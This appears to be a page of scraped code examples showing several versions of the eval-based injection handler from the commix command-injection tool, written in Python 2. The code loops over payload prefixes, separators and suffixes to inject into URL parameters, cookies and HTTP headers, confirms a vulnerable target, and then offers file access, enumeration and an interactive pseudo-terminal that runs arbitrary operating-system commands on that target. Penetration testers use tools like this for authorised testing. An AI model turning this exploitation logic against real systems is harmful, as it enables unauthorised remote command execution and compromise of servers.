              if file_access_again in settings.CHOISE_YES:
                print ""
                eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
                break
              elif file_access_again in settings.CHOISE_NO: 
                break
              elif file_access_again in settings.CHOISE_QUIT:
                sys.exit(0)
              else:
                if file_access_again  == "":
                  file_access_again  = "enter"
                print Back.RED + "(x) Error: '" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL
                pass
          else:
            eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)

          # Check if defined single cmd.
          if menu.options.os_cmd:
            eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)

          # Pseudo-Terminal shell
          go_back = False
          while True:
            if go_back == True:
              break
            gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
            if gotshell in settings.CHOISE_YES:
              print ""
              print "Pseudo-Terminal (type '?' for shell options)"
              while True:
                try:
                  cmd = raw_input("Shell > ")
                  if cmd.lower() in settings.SHELL_OPTIONS:
                    if cmd.lower() == "?":
                      menu.shell_options()
                    elif cmd.lower() == "quit":
                      sys.exit(0)
                    elif cmd.lower() == "back":
                      go_back = True
                      if checks.check_next_attack_vector(technique, go_back) == True:
                        break
                      else:
                        if no_result == True:
                          return False 
                        else:
                          return True 
                    else:
                      pass
                      
                  else:
                    # The main command injection exploitation.
                    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
                          
                    # if need page reload
                    if menu.options.url_reload:
                      time.sleep(delay)
                      response = urllib.urlopen(url)
                      
                    # Command execution results.
                    shell = eb_injector.injection_results(response, TAG)
                    if shell:
                      shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
                      if shell != "":
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
                    
                except KeyboardInterrupt: 
                  raise
              
            elif gotshell in settings.CHOISE_NO:
              if checks.check_next_attack_vector(technique, go_back) == True:
                break
              else:
                if no_result == True:
                  return False 
                else:
                  return True  

            elif gotshell in settings.CHOISE_QUIT:
              sys.exit(0)

            else:
              if gotshell == "":
                gotshell = "enter"
              print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
              pass
            
            
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Example #6
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "Results-based Command Injection"
    technique = "eval-based injection technique"

    url = eb_injector.warning_detection(url)

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
        settings.EVAL_SUFFIXES)

    for prefix in settings.EVAL_PREFIXES:
        for suffix in settings.EVAL_SUFFIXES:
            for separator in settings.EVAL_SEPARATORS:
                i = i + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase) for i in range(6))

                randv1 = random.randrange(100)
                randv2 = random.randrange(100)
                randvcalc = randv1 + randv2

                try:
                    # Eval-based decision payload (check if host is vulnerable).
                    payload = eb_payloads.decision(separator, TAG, randv1,
                                                   randv2)

                    suffix = urllib.quote(suffix)

                    # Fix prefixes / suffixes
                    payload = parameters.prefixes(payload, prefix)
                    payload = parameters.suffixes(payload, suffix)

                    payload = payload + "" + TAG + ""
                    payload = re.sub(" ", "%20", payload)

                    # Check if defined "--verbose" option.
                    if menu.options.verbose:
                        sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
                                         payload + Style.RESET_ALL)

                    # Cookie Injection
                    if settings.COOKIE_INJECTION == True:
                        # Check if target host is vulnerable to cookie injection.
                        vuln_parameter = parameters.specify_cookie_parameter(
                            menu.options.cookie)
                        response = eb_injector.cookie_injection_test(
                            url, vuln_parameter, payload)

                    # User-Agent Injection
                    elif settings.USER_AGENT_INJECTION == True:
                        # Check if target host is vulnerable to user-agent injection.
                        vuln_parameter = parameters.specify_user_agent_parameter(
                            menu.options.agent)
                        response = eb_injector.user_agent_injection_test(
                            url, vuln_parameter, payload)

                    # Referer Injection
                    elif settings.REFERER_INJECTION == True:
                        # Check if target host is vulnerable to referer injection.
                        vuln_parameter = parameters.specify_referer_parameter(
                            menu.options.referer)
                        response = eb_injector.referer_injection_test(
                            url, vuln_parameter, payload)

                    else:
                        found_cookie_injection = False
                        # Check if target host is vulnerable.
                        response, vuln_parameter = eb_injector.injection_test(
                            payload, http_request_method, url)

                    # if need page reload
                    if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)

                    # Evaluate test results.
                    shell = eb_injector.injection_test_results(
                        response, TAG, randvcalc)
                    if not menu.options.verbose:
                        percent = ((i * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((i * 100) / (total * 1.0)), 2))

                        if percent == 100:
                            if no_result == True:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = str(float_percent) + "%"
                        elif len(shell) != 0:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                            percent = str(float_percent) + "%"
                        sys.stdout.write("\r(*) Testing the " + technique +
                                         "... " + "[ " + percent + " ]")
                        sys.stdout.flush()

                except KeyboardInterrupt:
                    raise

                except:
                    continue

                # Yaw, got shellz!
                # Do some magic tricks!
                if shell:
                    found = True
                    no_result = False

                    if settings.COOKIE_INJECTION == True:
                        header_name = " Cookie"
                        found_vuln_parameter = vuln_parameter
                        the_type = " HTTP header"

                    elif settings.USER_AGENT_INJECTION == True:
                        header_name = " User-Agent"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    elif settings.REFERER_INJECTION == True:
                        header_name = " Referer"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    else:
                        header_name = ""
                        the_type = " parameter"
                        if http_request_method == "GET":
                            found_vuln_parameter = parameters.vuln_GET_param(
                                url)
                        else:
                            found_vuln_parameter = vuln_parameter

                    if len(found_vuln_parameter) != 0:
                        found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                    # Print the findings to log file.
                    if export_injection_info == False:
                        export_injection_info = logs.add_type_and_technique(
                            export_injection_info, filename, injection_type,
                            technique)
                    if vp_flag == True:
                        vp_flag = logs.add_parameter(vp_flag, filename,
                                                     http_request_method,
                                                     vuln_parameter, payload)
                    logs.upload_payload(filename, counter, payload)
                    counter = counter + 1

                    # Print the findings to terminal.
                    print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                    print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                    print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                    ) + Style.RESET_ALL + ""
                    print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                        "%20", " ", payload) + Style.RESET_ALL

                    # Check for any enumeration options.
                    eb_enumeration.do_check(separator, TAG, prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter)

                    # Check for any system file access options.
                    eb_file_access.do_check(separator, TAG, prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter)

                    # Check if defined single cmd.
                    if menu.options.os_cmd:
                        eb_enumeration.single_os_cmd_exec(
                            separator, TAG, prefix, suffix,
                            http_request_method, url, vuln_parameter)

                    # Pseudo-Terminal shell
                    go_back = False
                    while True:
                        if go_back == True:
                            break
                        gotshell = raw_input(
                            "\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > "
                        ).lower()
                        if gotshell in settings.CHOISE_YES:
                            print ""
                            print "Pseudo-Terminal (type '?' for shell options)"
                            while True:
                                try:
                                    cmd = raw_input("Shell > ")
                                    if cmd.lower() in settings.SHELL_OPTIONS:
                                        if cmd.lower() == "?":
                                            menu.shell_options()
                                        elif cmd.lower() == "quit":
                                            logs.logs_notification(filename)
                                            sys.exit(0)
                                        elif cmd.lower() == "back":
                                            go_back = True
                                            break
                                        else:
                                            pass

                                    else:
                                        # The main command injection exploitation.
                                        response = eb_injector.injection(
                                            separator, TAG, cmd, prefix,
                                            suffix, http_request_method, url,
                                            vuln_parameter)

                                        # if need page reload
                                        if menu.options.url_reload:
                                            time.sleep(delay)
                                            response = urllib.urlopen(url)

                                        # Command execution results.
                                        shell = eb_injector.injection_results(
                                            response, TAG)
                                        if shell:
                                            shell = "".join(
                                                str(p) for p in shell).replace(
                                                    " ", "", 1)[:-1]
                                            if shell != "":
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                except KeyboardInterrupt:
                                    raise

                        elif gotshell in settings.CHOISE_NO:
                            if menu.options.verbose:
                                sys.stdout.write(
                                    "\r(*) Continue testing the " + technique +
                                    "... ")
                                sys.stdout.flush()
                            break

                        else:
                            if gotshell == "":
                                gotshell = "enter"
                            print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                            pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Example #7
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = urllib.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = urllib.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + urllib.quote(")}") in payload:
                payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print settings.print_payload(payload)
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print settings.print_error_msg(err_msg)
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print ""

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg)) 
                gotshell = sys.stdin.readline().replace("\n","").lower()
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print settings.print_error_msg(err_msg)
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print settings.print_error_msg(err_msg)
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()